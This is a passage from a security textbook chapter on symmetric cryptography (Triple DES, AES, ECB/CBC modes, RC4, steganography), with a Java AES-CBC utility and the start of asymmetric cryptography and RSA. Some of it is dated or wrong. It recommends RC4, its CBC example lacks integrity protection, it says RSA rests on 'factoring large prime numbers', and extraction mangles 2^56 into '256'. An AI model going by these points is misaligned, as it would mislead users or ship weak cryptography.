These microchips needed to be replaced with microchips that ran Triple DES. The design of
Triple DES allowed the DES chips to be replaced with Triple DES chips with minimal system
disruption. However, the backward compatibility in Triple DES is also useful for software-
based implementations.

Using Triple DES (with three different 56-bit keys) allows you to achieve a higher level of
security than with just one 56-bit key. A brute-force attacker who was capable of trying all 256

key combinations would now have to try many more combinations! The entire Triple DES key
is 192 bits including the parity bits. Alternatively, you could use only two different keys, and
set k1 = k3 to get 112 bits of security. The key would be 128 bits with the parity bits.

While Triple DES provides more security than DES, it can be up to three times slower than
DES from a performance standpoint, since two DES encryptions and one DES decryption
needs to be done in one Triple DES encryption.

Using Triple DES is favorable to using DES because Triple DES allows the use of a larger
key. We may be afraid that if we just use 64-bit DES alone, an attacker that gets ahold of just
one plaintext/ciphertext pair could just try decrypting the ciphertext with all 256 keys to deter-
mine the key.

AES
AES was adopted by NIST in October 2000 as a replacement for DES. A new encryption stan-
dard was needed since DES was too easily crackable via brute-force search, and Triple DES
was too slow from a performance standpoint for many applications. AES is a replacement for
DES and Triple DES that provides security with larger keys and faster execution time.

Although AES is a standard that is promoted by NIST, and is a government-endorsed
cipher, it was developed using an open process. In 1997, the need for a new standard was
announced by NIST, and it invited proposals for a new symmetric block cipher that satisfied
its requirements. 

Fifteen different ciphers were proposed by cryptographers from all over the world, and
conferences were held over the course of a three-year period, in which the strengths and
weaknesses of the proposed ciphers were debated with regard to security, speed, memory
requirements, and other hardware and software implementation considerations. The require-
ments for AES were more stringent than those for DES because NIST had many more potential
applications in mind. For instance, NIST wanted to select an algorithm that would work well
on mobile devices that have slower processors and less memory than desktop computers.
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In August 1999, five finalists were chosen. A proposal called Rijndael, made by two Bel-
gian cryptographers, was chosen to be the AES standard. Rijndael supports key and block
sizes of 128, 192, and 256 bits, which is considerably larger than what DES offers.

As a result, in applications that need symmetric block encryption, AES achieves better
performance and uses less memory than DES or Triple DES. Due to the nature of the selection
process that AES went through, the hope is that AES is also more secure than DES. In fact, one
of the reasons that Rijndael was chosen is because its mathematical properties were more
easily analyzable and provable than other ciphers that were proposed.

12.1.4. Security by Obscurity: Recap
In this subsection, we review some relevant points originally made in Chapter 2 regarding
security by obscurity. Note that the design of the DES and Triple DES algorithms are com-
pletely public. They are specified in FIPS 46-3. Their security, however, is not dependent upon
the secrecy of the algorithm—it is dependent upon the keys provided as input to the algorithm.
If an attacker determines a key, you can simply change it to thwart further eavesdropping or
attack. Unless there is some mathematical property of the algorithms that the attacker can
exploit, her only option is brute-force search for the correct key.

Moreover, every additional bit used in the key doubles the number of keys that the
attacker needs to try to find the correct one. Therefore, if you use a long enough key, it would
take the attacker too much time to attack the algorithm via brute-force search. The attacker’s
best option may be to attack the algorithm based on its mathematical properties. The hope,
however, is that it is very hard to defeat the mathematical properties of the algorithm.

Cryptographers have put much effort into the design of encryption algorithms such as
Triple DES and AES. You probably should not try to invent your own encryption algorithm
with the hopes of doing better. At the same time, we do not discourage innovation. If you
have an idea about how to do encryption better, have read cryptography literature, and have
designed your own encryption algorithm, you should share that algorithm with other cryptog-
raphers and give them the opportunity to crack it before considering using it in a real system
that users depend on. Make your algorithm public, just as other cryptographers have, to
ensure that the security of the algorithm you are developing is not based on its obscurity.

12.1.5. Encrypting More Data
The ciphers covered thus far in this chapter are called block ciphers because they take input
blocks of 64, 128, 192, or 256 bits at a time. However, we have not talked about how to encrypt
more data than a couple hundred bits at a time. For example, suppose we have a 1-MB docu-
ment of plaintext that we would like to encrypt with a 64-bit key using DES (1 MB is 16,384
64-bit blocks). We could take each of these 64-bit blocks of plaintext input and independently
run each of them through DES to produce 16,384 64-bit blocks of ciphertext. This technique is
called Electronic Code Book (ECB) mode encryption. It is conceptually equivalent to looking
up each 64-bit plaintext block in a large “electronic code book” to determine what the corre-
sponding ciphertext block should be.

The problem with ECB is that it is likely that some of the 64-bit plaintext blocks are
repeated many times in the 1-MB document. For instance, if the document is made up of text,
and the word “security” appears frequently in the document aligned on 64-bit boundaries,
then the ciphertext corresponding to “security” will appear in the encrypted document just
as frequently. ECB leaks information about the structure of the document to the attacker.
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Namely, the attacker knows that there is some word that is repeated many times in the plain-
text. We would ideally like the entire encrypted document to look like a completely random
string, such that the probability that any particular bit in the encrypted document is a 0 or 1
is 1/2.

Before examining another mode in which we can encrypt with a block cipher, we first
review how a bit operation called XOR works. For those of you who have studied digital logic
or discrete math, you have probably seen XOR before. 

XOR (short for “exclusive or”) is a binary operator that takes two bits, X and Y, as input,
and produces a single bit of output. Table 12-1 presents the truth table for XOR (which is rep-
resented by the symbol ⊕). If exactly one of the two inputs to XOR is 1, the output of XOR is 1.
The output of XOR is 0 otherwise.

Table 12-1. Truth Table for XOR (⊕)

X Y X ⊕ Y

0 0 0

0 1 1

1 0 1

1 1 0

How can we use XOR to help us build an encryption function? Consider a scenario in
which we have a bit P and a bit K. If we XOR P and K together, we will get a bit C as output. If
we XOR C and K together, we get back P, and XOR satisfies the property that a plaintext bit that
is encrypted with a key bit can be decrypted with the same key bit. (You are encouraged to
verify this for all combinations of P and K.)

Now that we have reviewed XOR, we return to our discussion of block cipher modes, and
examine a different mode in which a block cipher can be used to prevent information leakage.
In ECB, each block of ciphertext is dependent upon only one block of plaintext, and hence
some types of patterns in the plaintext may be preserved in the ciphertext. To encrypt the
plaintext in a more secure fashion, we may want each block of ciphertext to depend upon
every previous block of plaintext. In cipher block chaining (CBC) mode encryption, we can
avoid having patterns in ciphertext by XORing the previous block of ciphertext with the cur-
rent plaintext block before encrypting to produce the next ciphertext block, as shown in
Figure 12-1.

To encrypt the first block of plaintext in CBC, we choose some initial value (IV) and XOR
the first block of plaintext with the IV prior to encrypting to obtain the first ciphertext block.
Then, once we have computed the first ciphertext block, we XOR the second block of plaintext
with the first ciphertext block prior to running the second block through DES. Doing so hides
any patterns that would have shown up in the encrypted text, since each block of the cipher-
text now depends upon all the previous plaintext blocks instead of just one plaintext block.
For example, even if the word “security” appears in the plaintext multiple times (aligned on
64-bit boundaries), the ciphertext for the word “security” will be different each time in the
encrypted version of our file.

CBC is commonly used to avoid the problem of patterns in encrypted data. There also are
other methods of doing block cipher chaining—for instance, CFB (cipher feedback mode) and
OFB (output feedback method). We do not cover them here, but you can learn more in Bruce
Schneier’s Applied Cryptography: Protocols, Algorithms, and Source Code in C.
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Figure 12-1. Block cipher chaining modes

12.1.6. AES Code Example
Now that we have covered block ciphers and CBC, we provide a simple Java code example that
can encrypt and decrypt using AES in CBC mode. Our code will show you how to practically
use symmetric encryption, and will provide an example that shows it in action. How AES
encryption is done may differ from one language to another, but our example will give you
a general flavor as to what code that uses cryptographic libraries looks like.

Our Java class is called AESEncrypter. It is a command-line utility that can create an AES
key, encrypt with the key, and decrypt with the key. The first argument to the command-line
tool specifies what it should do: create a key, encrypt, or decrypt. It stores keys in files, and
accepts the name of the key file as the second parameter on the command line. It accepts its
input from stdin and writes its output to stdout. The following are some example commands
that Alice might use to generate a key and encrypt:

$ java com.learnsecurity.AESEncrypter createkey mykey
$ echo "Meet Me At Central Park" | java com.learnsecurity AESEncrypter ➥

encrypt mykey > ciphertext
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Note that the generated key is stored in a file called mykey, and the encrypted text is stored
in the ciphertext file. (We do not show the contents of the ciphertext file, as it is made up of
nonprintable binary data, and will differ depending upon the key that is generated.) 

Once Alice provides the mykey file to Bob over a secure channel, she can then safely send
the ciphertext file (or any other files encrypted with the same key) to Bob over an insecure
channel. Once Bob receives ciphertext, he can use the AESEncrypter program to decrypt the
text as follows:

$ java com.learnsecurity.AESEncrypter decrypt mykey < ciphertext
Meet Me At Central Park

The entire code for the utility is shown here:

package com.learnsecurity;

import java.security.*;
import java.security.spec.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import java.io.*;

public class AESEncrypter {
public static final int IV_SIZE = 16; // 128 bits
public static final int KEY_SIZE = 16; // 128 bits
public static final int BUFFER_SIZE = 1024; // 1KB

Cipher cipher;
SecretKey secretKey;
AlgorithmParameterSpec ivSpec;
byte[] buf = new byte[BUFFER_SIZE];
byte[] ivBytes = new byte[IV_SIZE];

public AESEncrypter(SecretKey key) throws Exception {
cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
secretKey = key;

}

public void encrypt(InputStream in, OutputStream out) throws Exception {
// create IV and write to output
ivBytes = createRandBytes(IV_SIZE);
out.write(ivBytes);
ivSpec = new IvParameterSpec(ivBytes);
cipher.init(Cipher.ENCRYPT_MODE, secretKey, ivSpec);

// Bytes written to cipherOut will be encrypted
CipherOutputStream cipherOut = new CipherOutputStream(out, cipher);
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// Read in the plaintext bytes and write to cipherOut to encrypt
int numRead = 0;
while ((numRead = in.read(buf)) >= 0)

cipherOut.write(buf, 0, numRead);
cipherOut.close();

}

public void decrypt(InputStream in, OutputStream out)  throws Exception {
// read IV first
in.read(ivBytes);
ivSpec = new IvParameterSpec(ivBytes);
cipher.init(Cipher.DECRYPT_MODE, secretKey, ivSpec);

// Bytes read from in will be decrypted
CipherInputStream cipherIn = new CipherInputStream(in, cipher);

// Read in the decrypted bytes and write the plaintext to out
int numRead = 0;
while ((numRead = cipherIn.read(buf)) >= 0)

out.write(buf, 0, numRead);
out.close();

}

public static byte [] createRandBytes(int numBytes) 
throws NoSuchAlgorithmException {
byte [] bytesBuffer = new byte [numBytes];
SecureRandom sr = SecureRandom.getInstance("SHA1PRNG");
sr.nextBytes(bytesBuffer);
return bytesBuffer;

}

public static void main(String argv[]) throws Exception {
if (argv.length != 2)

usage();
String operation = argv[0];
String keyFile = argv[1];
if (operation.equals("createkey")) {

FileOutputStream fos = new FileOutputStream(keyFile);
KeyGenerator kg = KeyGenerator.getInstance("AES");
kg.init(KEY_SIZE*8);
SecretKey skey = kg.generateKey();

/* write key */
fos.write(skey.getEncoded());
fos.close();

} else {
/* read key */

CHAPTER 12 ■ SYMMETRIC KEY CRYPTOGRAPHY212

7842CH12.qxd  1/24/07  11:21 AM  Page 212



byte keyBytes [] = new byte [KEY_SIZE];
FileInputStream fis = new FileInputStream(keyFile);
fis.read(keyBytes);
SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "AES");

/* initialize encrypter */
AESEncrypter aes = new AESEncrypter(keySpec);

if (operation.equals("encrypt")) {
aes.encrypt(System.in, System.out);

} else if (operation.equals("decrypt")) {
aes.decrypt(System.in, System.out);

} else {
usage();

}
}

}

public static void usage () {
System.err.println("java com.learnsecurity.AESEncrypter " +

"createkey|encrypt|decrypt <keyfile>");
System.exit(-1);

}
}

We now walk through bite-sized pieces of the code, one chunk at a time. We start with the
imports and data members of the AESEncrypter class:

package com.learnsecurity;

import java.security.*;
import java.security.spec.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import java.io.*;

public class AESEncrypter {
public static final int IV_SIZE = 16; // 128 bits
public static final int KEY_SIZE = 16; // 128 bits
public static final int BUFFER_SIZE = 1024; // 1KB

Cipher cipher;
SecretKey secretKey;
AlgorithmParameterSpec ivSpec;
byte[] buf = new byte[BUFFER_SIZE];
byte[] ivBytes = new byte[IV_SIZE];
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The imports at the top of the program simply declare that our program uses the Java
security and cryptography support packages, in addition to the I/O library. The IV_SIZE and
KEY_SIZE for our AESEncrypter class are defined to be 16 bytes, or 128 bits. BUFFER_SIZE
specifies the size of the buffer that will be used to read in chunks of the input and write
chunks of output. AESEncrypter uses a cipher object, defined in the Java cryptography library,
that will be used to actually do the encryption or decryption, as specified by the program’s
command-line arguments. The secretKey object will store the secret, symmetric key that will
be used. The ivSpec object will specify the IV to be used to initialize the CBC. The ivSpec
object is initialized using bytes from ivBytes.

The first line of the constructor for the AESEncrypter class initializes the cipher object to
use AES in CBC mode:

public AESEncrypter(SecretKey key) throws Exception {
cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
secretKey = key;

}

It also specifies that PKCS #5 padding should be used. If the input to encrypt is not, say,
a multiple of 128 bits, it will be padded—extra data will be added to the input—to force the
input to be a multiple of 128 bits. While we do not go into the details of PKCS #5 (or other
padding schemes), you can read more about the topic in “PKCS #5: Password-Based Crypto-
graphy Standard,” by RSA Laboratories. The remaining line in the constructor simply caches
the secret key in a data member of the AESEncrypter object.

We describe the encrypt() and decrypt() methods next. Both of them take input and out-
put streams as parameters. The input stream allows the method to read input from a file (or
from wherever the input stream originates), and the output stream allows the method to out-
put data. In the case of encrypt(), as you might expect, the input stream is plaintext and the
output stream is ciphertext, while in the case of decrypt(), it is vice versa.

The encrypt() method is as follows:

public void encrypt(InputStream in, OutputStream out) throws Exception {
// create IV and write to output
ivBytes = createRandBytes(IV_SIZE);
out.write(ivBytes);
ivSpec = new IvParameterSpec(ivBytes);
cipher.init(Cipher.ENCRYPT_MODE, secretKey, ivSpec);

// Bytes written to cipherOut will be encrypted
CipherOutputStream cipherOut = new CipherOutputStream(out, cipher);

// Read in the plaintext bytes and write to cipherOut to encrypt
int numRead = 0;
while ((numRead = in.read(buf)) >= 0)

cipherOut.write(buf, 0, numRead);
cipherOut.close();

}
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The encrypt() method first generates some random bytes to serve as the IV, and stores
those bytes in the ivSpec object. Then, the method initializes the cipher object to be in encrypt
mode, and passes it the secret key and IV. The method then constructs a CipherOutputStream
object from the output stream passed to encrypt() and the cipher object. Any data that is
written to the CipherOutputStream object is first enciphered, and then written to the output
stream. Once the CipherOutputStream object is initialized, the method then enters a loop in
which data is read from the input stream and written to CipherOutputStream until all the data
from the input stream has been consumed. Finally, the CipherOutputStream object is closed,
and any remaining unencrypted bytes are padded, encrypted, and written. If the output
stream is a file or a network socket, it will be closed.

The decrypt() method is similar to the encrypt() method, except that it reads the IV and
ciphertext from the input stream, and writes plaintext to the output stream:

public void decrypt(InputStream in, OutputStream out)  throws Exception {
// read IV first
in.read(ivBytes);
ivSpec = new IvParameterSpec(ivBytes);
cipher.init(Cipher.DECRYPT_MODE, secretKey, ivSpec);

// Bytes read from in will be decrypted
CipherInputStream cipherIn = new CipherInputStream(in, cipher);

// Read in the decrypted bytes and write the plaintext to out
int numRead = 0;
while ((numRead = cipherIn.read(buf)) >= 0)

out.write(buf, 0, numRead);
out.close();

}

Now that we have described the most important subroutines in AESEncrypter, we show
how the program’s main() method brings it all together:

public static void main (String argv[]) throws Exception {
if (argv.length != 2)

usage();
String operation = argv[0];
String keyFile = argv[1];
if (operation.equals("createkey")) {

FileOutputStream fos = new FileOutputStream(keyFile);
KeyGenerator kg = KeyGenerator.getInstance("AES");
kg.init(KEY_SIZE*8);
SecretKey skey = kg.generateKey();

/* write key */
fos.write(skey.getEncoded());
fos.close();

} else {
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/* read key */
byte keyBytes [] = new byte [KEY_SIZE];
FileInputStream fis = new FileInputStream(keyFile);
fis.read(keyBytes);
SecretKeySpec keySpec = new SecretKeySpec(keyBytes, "AES");

/* initialize encrypter */
AESEncrypter aes = new AESEncrypter(keySpec);

if (operation.equals("encrypt")) {
aes.encrypt(System.in, System.out);

} else if (operation.equals("decrypt")) {
aes.decrypt(System.in, System.out);

} else {
usage();

}
}

}

The main() method first reads its two command-line arguments: the operation that the
user would like to conduct, and the name of the key file. In the case that the user did not
supply enough command-line arguments, a usage message is printed to the standard error
output stream. Then, depending upon the operation requested, it takes an appropriate
action. In the case that the user asks to create a key, the program creates a new file using a
FileOutputStream object, and writes the key returned by the KeyGenerator’s generateKey()
method to the file. The KeyGenerator class in Java should be used to construct cryptographi-
cally random keys that are not weak (see Section 14.2 for more information about weak keys).
If the user requests encryption or decryption, the main program simply calls the encrypt() or
decrypt() method, respectively, after initializing the AESEncrypter object with the key read
from the key file. (If the user did not specify a valid operation, a usage error is printed.)

From the preceding example, you can see how it’s possible to practically implement a
flexible encryption tool in just a few lines of code. With just this small program, you can
encrypt and decrypt any file. However, AESEncrypter does not provide integrity protection for
the encrypted file, and in the real world you would add on a message authentication code
(MAC) and use a key derivation function to get a different MAC and encryption key. 

Aside from the limitation of not automatically providing integrity protection, the
AESEncrypter class is written such that it can be used in other programs to encrypt and
decrypt not only files, but also any data that can be transferred over a stream, including data
that is exchanged between clients and servers over network sockets. As you can imagine, one
major challenge is securely distributing the key file to the client and server. In Chapters 13 and
14, we discuss asymmetric cryptography and key exchange, which helps address the key dis-
tribution problem. In this chapter, we complete our discussion of symmetric cryptography
with an introduction to stream ciphers.
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12.2. Stream Ciphers
Until now, we have focused on block-based symmetric encryption schemes, in which blocks
of plaintext are encrypted at once. There exists another class of symmetric encryption
schemes, called stream ciphers. In a stream cipher, one byte of plaintext is encrypted at a time,
rather than 64, 128, or more bits at time. Stream ciphers are, in general, much faster than
block ciphers.

In a stream cipher, an infinite sequence of random bits is generated for use as the key, so
the key bits are never reused. The theoretical motivation behind these stream ciphers is to
attempt to approximate a theoretical encryption scheme called a one-time pad.

12.2.1. One-Time Pad
A one-time pad is a cipher in which plaintext is XORed with a random stream of bits of the
same length as the plaintext. A one-time pad is an encryption function in which the plaintext
bits are XORed with a key stream. A one-time pad is named as such because the key should be
used exactly once. If an attacker is able to get one bit of plaintext and one bit of corresponding
ciphertext, the attacker could simply XOR the two together to recover the key bit! Hence, that
key bit should never be used again if Alice and Bob want to securely exchange messages.
Instead, we’d like the key to stay secret even if an attacker obtains many plaintext/ciphertext
pairs.

One-time pads are impractical because using a key that is the same size as the plaintext
typically incurs too much overhead. Why would we want to use such an impractical encryp-
tion scheme? Claude Shannon proved that one-time pads offer a property called “perfect
secrecy.” Perfect secrecy means that under a brute-force attack, every possible decryption is
equally likely. Consider a scenario in which an attacker gets hold of some ciphertext that was
encrypted using a one-time pad. The attacker could try a brute-force attack in which she tries
decrypting by using every possible combination of key. The result of the attacker’s decryptions
is a list containing one copy of every possible plaintext. The brute-force attack yields no infor-
mation about the plaintext (which is, in general, not true of any imperfect cipher). Hence,
since one-time pads offer information theoretic advantages such as perfect secrecy, they
would be great to use if we didn’t need to have an infinite key. Practical stream ciphers use a
finite-sized key to generate an infinite stream of key bits. RC4 is an example of a practical
stream cipher.

12.2.2. RC4
RC4 is a very popular stream cipher that approximates a one-time pad. Since it is impractical
to have a key that is as long as the plaintext itself, RC4 uses a fixed-size key as a “seed” that is
used to generate an infinite stream of key bits. Before we cover RC4 in more detail, we first
review modular arithmetic, since it is used in the implementation of RC4.

You have probably seen modular arithmetic at some point. To review, the modulus of two
operands X and Y is the remainder when X is divided by Y. For example, 10 mod 3 = 1, since
the remainder of 10 / 3 is 1. The modulus operator can also be applied after any operator. For
example, we could take various powers of a number and then apply the mod operator—if 
g = 5, then g mod 3 = 2. To calculate g2 mod 3, we first calculate g2 = 25, and then calculate 25
mod 3 = 1. Similarly, g3 mod 3 = 2.

CHAPTER 12 ■ SYMMETRIC KEY CRYPTOGRAPHY 217

7842CH12.qxd  1/24/07  11:21 AM  Page 217



RC4 is the most widely used stream cipher (at the time at which this book was written).
It is approximately ten times faster than DES.

■Caution While we describe how RC4 works here, you should not try to implement it on your own. Use an
already existing implementation in a reputable cryptographic library.

RC4 heavily uses modular arithmetic to create a random key stream. RC4 works by using
an array, S, called a state table, whose values it continuously changes to generate the key
stream. The state table is “seeded” with a finite-sized key that fills the array initially. Once
initialized, the code for RC4 (shown following) is executed to generate each new byte of the
infinite key.

i = (i + 1) mod 256
j = (j + S[i]) mod 256
swap (S[i], S[j])
t = (S[i]+S[j]) mod 256
K = S[t]

The code uses three counters: i, j, and t. The counter i iterates through all of the entries in
the state table at least once, every 256 steps, for every 256 bytes of key that are generated. The
counter j adds its value to whatever value is contained at the ith position of the state table,
and updates itself. Then, the ith and jth entries are swapped. The counter t is set to the sum of
the entries in the ith and jth parts of the table, and the next key byte comes from the tth posi-
tion in the state table.

When using RC4 in a real system, you need to make sure not to use the same key more
than once. For instance, if you are using a password to seed RC4, you must choose a new, ran-
dom salt to append to the password. Each salt must be distinct from all previous salts used
before to ensure that the key stream is never the same as any key stream ever used before.

Sometimes you may get caught in situations where you may not realize you indeed are
using the same key more than once. Consider the case in which a client interacts with a server.
If you were to use a block cipher, you could initialize the client and server to use the same key,
k. The client might encrypt data using the k, and the server might respond, also encrypting
with k. However, it would be dangerous to do the same with a stream cipher like RC4!

Consider what happens when using a stream cipher: the client has some plaintext, p1,
that it encrypts using k to produce c1 = p1 ⊕ k. The client transmits c1 to the server. The server
has some plaintext, p2, that it encrypts using k to produce c2 = p2 ⊕ k. A passive eavesdropper
can compute c1 ⊕ c2 = p1 ⊕ k ⊕ p2 ⊕ k = p1 ⊕ p2, which reveals the XOR of the client and server’s
plaintext. If the attacker knows p1, she can determine p2, and vice versa. In some protocols,
such as SMTP (Simple Mail Transfer Protocol), the first string that the client is required to
transmit to the server is fixed—in SMTP, it is HELO. In such a case, the attacker would know
exactly the first few bytes of p1, and would be able to determine the first few bytes of the
server’s response, p2.

If you are using RC4, it is important to recognize that if the client initially sends some
information to the server encrypted with RC4, and the server then uses the same key to send
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something to client, you have just used the same key twice. Therefore, clients and servers
should always use different RC4 keys.

RC4 has also suffered from attacks in which the initial bytes of the pseudo-random key
stream are “weak,” as they are distinguishable from random binary strings (Fluhrer, Mantin,
and Shamir 2001). The vulnerability due to weak keys allowed security researchers to demon-
strate how some protocols—such as the WEP (Wired Equivalent Privacy) protocol in the
802.11 wireless standard—are effectively broken (Stubblefield, Ioannidis, and Rubin 2002). If
you do choose to use RC4, you should discard at least the first 256 bytes of the key stream;
some security researchers even suggest discarding at least the first 512 bytes (Paul and Preneel
2004).

In addition, RC4 can suffer from attacks by an active eavesdropper. The problem can be
solved by including a MAC as part of the message. 

While RC4 provides fast performance, you should remember the following if you decide to
use it: RC4 keys should never be used more than once, a suitable number of initial bytes of the
key stream should be discarded, and a MAC should be used to protect the integrity of the
ciphertext transmitted.

12.3. Steganography
The symmetric ciphers that we have discussed so far all have one thing in common: they all
seek to transform the plaintext into a random string of bits. When Alice sends a random string
of bits to Bob, Eve may be able to infer that Alice is sending sensitive information to Bob. How-
ever, Alice may want to conceal the fact that she is sending sensitive information to Bob.

12.3.1. What Is Steganography?
Steganography is the study of techniques for sending sensitive information that attempt to
hide the fact that sensitive information is being sent at all. Steganographic techniques typi-
cally use a “covert channel” to send sensitive information from one party to another. For
example, consider the following message that Alice could send to Bob: “All the tools are care-
fully kept.” This message may seem harmless enough, but within the message there is a covert
channel that is used to send a secret message. The covert channel is made up of the first letter
of each word in the message, and the first letter of each word spells “Attack.”

There are many other examples of steganography—for example, invisible ink pens that
children use to send messages to each other. Authorities have speculated that videos of Osama
Bin Laden raising a glass or conducting other actions may have meant something to his fol-
lowers. If that is true, then Osama Bin Laden was using another form of steganography.

There are also other digital approaches to steganography. For example, hidden messages
can be transmitted as part of electronic images. Each pixel in an image can be represented as
an 8-bit color code, corresponding to a red, green, and blue (RGB) value for that pixel. The first
(or most significant) bit of each of the 8-bit components has the most significant effect on the
color of the pixel. However, the least significant bit has only a very slight effect on the color of
the pixel. One could change all of the least significant bits without affecting the average person’s
perception of an entire image. One could then use these bits to transmit a secret message. For
example, if you switched the least significant bit of one of the RGB values of a black back-
ground pixel in a digital image from the value 000 to 001, you would be able to transmit the
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secret message “1” to a receiver. Any eavesdroppers would not necessarily be aware that a
secret message was encoded in the least significant bits of all the pixels just by viewing the
image.

There are freeware and shareware tools on the Internet for steganographic coding of mes-
sages in images. Steganography, however, is security by obscurity. As soon as a third party
knows that steganography is being used, and can determine what bits make up the covert
channel, the technique becomes more or less useless.

12.3.2. Steganography vs. Cryptography
The key advantage of steganographic techniques as compared to cryptographic techniques
is that they allow Alice and Bob to exchange secrets without letting third parties know that
secrets are being exchanged at all. The key disadvantage is that steganographic techniques
rely on obscurity for security. Once the covert channel is known to the attacker, the technique
is useless. While we have described steganography here, we have done so mostly to let you
know that it exists; however, it is rarely used to accomplish software security goals in any seri-
ous application.

Another disadvantage of steganography is that there is typically a high performance over-
head to use it. In the preceding example of using the least significant bits of pixels in an image
as part of a covert channel, Alice would need to send 7 bits for each 1 bit of secret information.
If Alice wanted to send a lot of secret information to Bob, she would have to send much more
non-secret information to mask the secret information. To attempt to remedy this, Alice could
use more of the bits in the pixels to encode her information. However, the more bits that are
used as part of the covert channel, the more perceivable the alternations in color to the image,
and the more obvious it might be to an attacker that steganography is being used.

In theory, steganography can be used together with encryption to leverage some of the
advantages of both. If a message is encrypted before it is inserted into a covert channel, a third
party will not only have to determine that there is a covert channel in use and obtain the con-
tents of the secret message, but he’ll then have to decrypt it as well. Unfortunately, combining
steganography with encryption increases overhead even further because additional computa-
tional resources must be used to do the encryption and decryption.
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Asymmetric Key Cryptography

This chapter continues our discussion of cryptography by examining asymmetric key cryp-
tography. In the previous chapter, we covered symmetric key cryptography. The problem with
symmetric key cryptography is that any two parties that want to exchange confidential infor-
mation with each other need to agree on a key beforehand. Alice needs to somehow tell Bob
the key in order for him to decrypt a message that she sends him. Alice and Bob could meet in
person to agree on a key—but this is not usually possible in an Internet transaction. How
should they agree upon a key?

For thousands of years, symmetric key cryptography was the only kind of cryptography
that existed. In the 1970s, two scientists by the name of Diffie and Hellman came up with a
new encryption method called asymmetric key cryptography, also sometimes referred to as
public key encryption. Asymmetric key cryptography can help Alice and Bob communicate
without having to meet a priori to agree upon a key.

13.1. Why Asymmetric Key Cryptography?
Why do we need asymmetric key cryptography? For example, if two people who do not know
each other want to communicate privately on the Internet, it would be extremely inconvenient
for them to have to meet in person or talk over the phone to agree upon a key. Asymmetric key
cryptography provides a way for them to do so without having to go to these lengths. To illus-
trate how, we provide an example of a personal dating application in which users do not know
each other beforehand, and would like to have private conversations with each other. 

Let us consider a personal dating application with three users: Alice, Bob, and Carol. Bob
posts a personal ad. Bob wants Alice and Carol to be able to send him personal messages, but
he wants the contents of those messages to be confidential. 

Bob is a two-timer. He wants to respond to Alice and say, “I think you are the love of my
life,” but he’s interested in other women as well. Carol may also respond to Bob’s personal ad,
and Bob may not know which woman he loves more. He might want to tell both of these
women that he loves them, yet he may not want Alice to know that he tells Carol that she is
the love of his life, and vice versa. 

We could try to use symmetric key cryptography to enable confidential communication
between Alice and Bob, and Carol and Bob. If Bob publishes a symmetric key in an online
directory, then anyone who has access to that directory has access to that key. With the key,
someone can decode any messages encrypted with that key regardless of who encrypted it.
For instance, if Alice sends a personal message to Bob, Carol might be able to intercept that
communication and decrypt it because the key is public. If Bob wants to receive confidential
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messages from both Alice and Carol such that only he can decrypt these communications, he
would need two symmetric keys. He would share one of these keys with Alice, and the other
with Carol. If Bob were seeing another woman, Denise, then he would have to share a third
key with her. Unfortunately, Bob would somehow need to agree with Alice, Carol, and Denise
on keys. 

Asymmetric key cryptography, however, allows us to solve this problem without requiring
Bob to agree upon different keys individually with Alice, Carol, and Denise. In an asymmetric
scheme, Bob has two keys: a public key and a private (or secret) key. Bob publishes his public
key in the directory. Alice, Carol, and even Denise can send confidential messages to Bob by
encrypting them with his public key. Due to the way asymmetric key cryptography works,
when Alice sends Bob a message encrypted with his public key, neither Carol nor Denise can
decrypt that message. Using Bob’s private key is the only way to decrypt the message. Since
Bob keeps his private key secret, only he can decrypt messages that people send him that are
encrypted with his public key. 

Once Bob publishes his public key in a public directory, Alice and Carol can look up
that key and use it to encrypt and send confidential messages to Bob. Anyone could look up
Bob’s key in the directory to send him a confidential message. Only Bob would be able to
decrypt these messages. 

THE PUBLIC KEY TREASURE CHEST

We provide a “treasure chest” analogy to explain how asymmetric cryptography works. If Bob wants people
to be able to send him messages secretly, he can ask them to put these messages inside of a treasure chest,
and give him the treasure chest. Then he can open the treasure chest. Imagine that Bob can go to some pub-
lic area such as a park and leave as many open treasure chests as he wants. When people want to send Bob
a message, they can put the message into the chest and close it. Anyone is able to lock the treasure chest
just by closing it. Bob can come to the park at some point and look at which treasure chests have been
locked. Bob has a key that he can use to unlock the treasure chests to retrieve the private messages that
people left for him. This basic idea is summarized in the following illustration.

In essence, in asymmetric cryptography, when Bob gives out his public key, it is like him giving out an
open, empty treasure chest. Anybody can put a message in the treasure chest and lock it by encrypting with
Bob’s public key. Bob is the only one who can open the treasure chest because his private key is the key to
the treasure chest. When Bob does a decryption with his private key, it corresponds to unlocking the chest.
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To extend the notation first described in Section 12.1.2 for asymmetric cryptography, we
introduce two keys: kp and ks, which are the public and private (or secret) keys, respectively.
An encryption function takes a message and the public key as input to produce ciphertext:
F(m,kp) = c. The decryption function takes the ciphertext and private key as input, and pro-
duces the plaintext: F–1(c,ks) = m. An asymmetric cipher, then, is an encryption and decryption
function for which F–1(F(m,kp),ks) = m. The cipher is asymmetric because different keys are
used for encryption and decryption. 

13.2. RSA
After briefly discussing how symmetric ciphers worked in Chapter 12, we provided some
examples of them, such as DES and AES. Now that you have learned how asymmetric ciphers
work in general, we give two examples of them; namely, RSA and ECC. RSA was the first asym-
metric encryption algorithm ever published. Shortly after Diffie and Hellman published a
paper about the idea of an asymmetric cipher, Rivest, Shamir, and Adelman (the R, S, and A, in
RSA) came up with a concrete algorithm that was able to serve as an asymmetric encryption
scheme. 

RSA is the most widely known and used asymmetric cipher. It is used in a variety of differ-
ent protocols in the world of computer security, including SSL, CDPD,1 and PGP.2 RSA has
been used in many different applications to date, and is likely to be used in many different
applications in the future. 

The mathematical properties of the RSA algorithm are based on number theory. The
security of the algorithm depends on the difficulty of factoring large prime numbers. If it is
difficult to factor large prime factors, it will be hard to break the mathematical properties of
the algorithm. Common key sizes that are used with RSA are 1024, 2048, and 4096 bits. Since
RSA is fundamentally different than any other encryption algorithm, these key sizes do not
have a direct relation to the key sizes of other algorithms, such as AES or Triple DES. That is,
a message encrypted with a 2048-bit RSA key may not be any more or less “secure” than a
message encrypted with a 256-bit AES key. You could attempt to compare the strength of key
sizes of different algorithms by measuring the expected amount of time it would take to
successfully conduct a brute-force attack on them. (Read A.K. Lenstra’s paper, “Selecting
Cryptographic Key Sizes” for guidance on key sizes.) Yet, in general, it may not make much
sense to directly compare the lengths of keys of two different algorithms. 

13.3. Elliptic Curve Cryptography (ECC)
